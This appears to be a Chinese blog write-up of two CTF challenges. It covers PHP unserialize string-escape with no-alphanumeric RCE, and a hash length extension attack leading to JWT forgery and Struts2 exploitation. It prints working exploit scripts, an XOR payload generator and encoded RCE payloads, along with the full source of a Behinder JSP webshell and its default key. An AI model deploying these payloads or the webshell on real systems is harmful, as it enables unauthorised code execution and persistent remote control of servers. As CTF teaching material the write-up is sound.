2023暑期CTF

2023巅峰极客_unserialize

 打开题目

扫描得到www.zip

分析代码

 index.php

<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();

if (isset($_POST['root']) && isset($_POST['pwd'])) {
	$root = $_POST['root'];
	$pwd = $_POST['pwd'];
	$login = new push_it($root, $pwd);
	$_SESSION['login'] = b(serialize($login));
	die('<script>location.href=`./login.php`;</script>');
}



?>

login.php

<?php
session_start();
include_once "my.php";
include_once "function.php";

if (!isset($_SESSION['login'])) {
	echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}

$login = @unserialize(a($_SESSION['login']));
echo $login;
?>

function.php 

<?php
function b($data) {
	return str_replace('aaaa', 'bbbbbb', $data);
}

function a($data) {
	return str_replace('bbbbbb', 'aaaa', $data);
}
?>

 my.php

<?php

class pull_it {
	private $x;

	function __construct($xx) {
		$this->x = $xx;
	}

	function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
		if (eval($preg_match)) {
			echo $preg_match;
			exit("save_waf");
		}
		@eval($this->x);
		}
	}	
}
class push_it {
	private $root;
	private $pwd;

	function __construct($root, $pwd) {
		$this->root = $root;
		$this->pwd = $pwd;
	}
	
		function __destruct() {
		unset($this->root);
		unset($this->pwd);
	}

	function __toString() {
		if (isset($this->root) && isset($this->pwd)) {
			echo "<h1>Hello, $this->root</h1>";
		}
		else {
			echo "<h1>out!</h1>";
		}
	}



}



?>

字符串变短逃逸

难点主要在私有变量private序列化后会有不可见字符和无数字字母的绕过

有两个不可见字符%00

无数字字母rce

需要逃逸的字符串及其长度

共48个长度(有两个不可见字符)

每一个“bbbbbb"替换成"aaaa"就逃逸连个字符,因此需要24个"bbbbbb"

生成payload:

url编码取反绕过

exp:

<?php 
class pull_it {
    private $x;
    function __construct($xx) {
        $this->x = $xx;
    }
}

echo(urlencode("\";s:12:\"\000push_it\000pwd\";".serialize(new pull_it("(~".~"system".")(~".~"whoami".");"))));

运行得到:

%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A19%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%88%97%90%9E%92%96%29%3B%22%3B%7D

传参

在访问login.php

 异或绕过:

附上Lxxx师傅的异或脚本

xor.php

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

xor.py

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

先执行xor.php生成合法字符,再执行xor.py生成异或命令

 然后再进行base64编码

exp:

<?php 
class pull_it {
    private $x;
    function __construct($xx) {
        $this->x = $xx;
    }
}

$l = new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTA4JTA4JTBmJTAxJTBkJTA5Il4iJTdmJTYwJTYwJTYwJTYwJTYwIik7")));
echo urlencode(serialize($l));

 运行得到

O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A39%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%08%08%0F%01%0D%09%22%5E%22%7F%60%60%60%60%60%22%29%3B%22%3B%7D

传参

此处可以自定义,但是长度大于8就不行,不知道为啥

*CTF_jwt2struts

考点:

hash长度扩展攻击+jwt+struts2

<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
    if ($username === "admin" && $password != "root") {
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
            die ("The secret_key is ". $secret_key);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("no no no");
    }
}

先通过hash长度扩展攻击拿到key

原理网上很多这里就不写了......

使用工具hashpump

Input Signature: md5($salt."adminroot"),即e6ccbf12de9d33ec27a5bcfb6a3293df

Input Data:password对应的值root

Input Key Length:salt+username的位数即14+5=19(此时把username也作为key的一部分)

input Data to Add:这里随便填

然后把生成的

root\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00abc

将其中的\x换成%

python脚本实现


hex_str = r"root\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00abc"

# 将所有的\x替换成%
url_encoded_str = hex_str.replace(r'\x', '%')

print(url_encoded_str)

传参

拿到key

将cookie中的

access_token= eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjExNjI5fQ.cCEIsBntEWPwQcah7_iFYtxMtlL-Df2UxYeqmUQTCXc

拿去jwt

 填入key修改成admin

抓包修改发包

访问/admiiiiiiiiiiin

看页面源码得到提示

题目提示struts2,用漏扫工具

 检测到漏洞

执行命令

没有找到flag

上传冰蝎马

利用工具上传冰蝎马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

 

拿到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值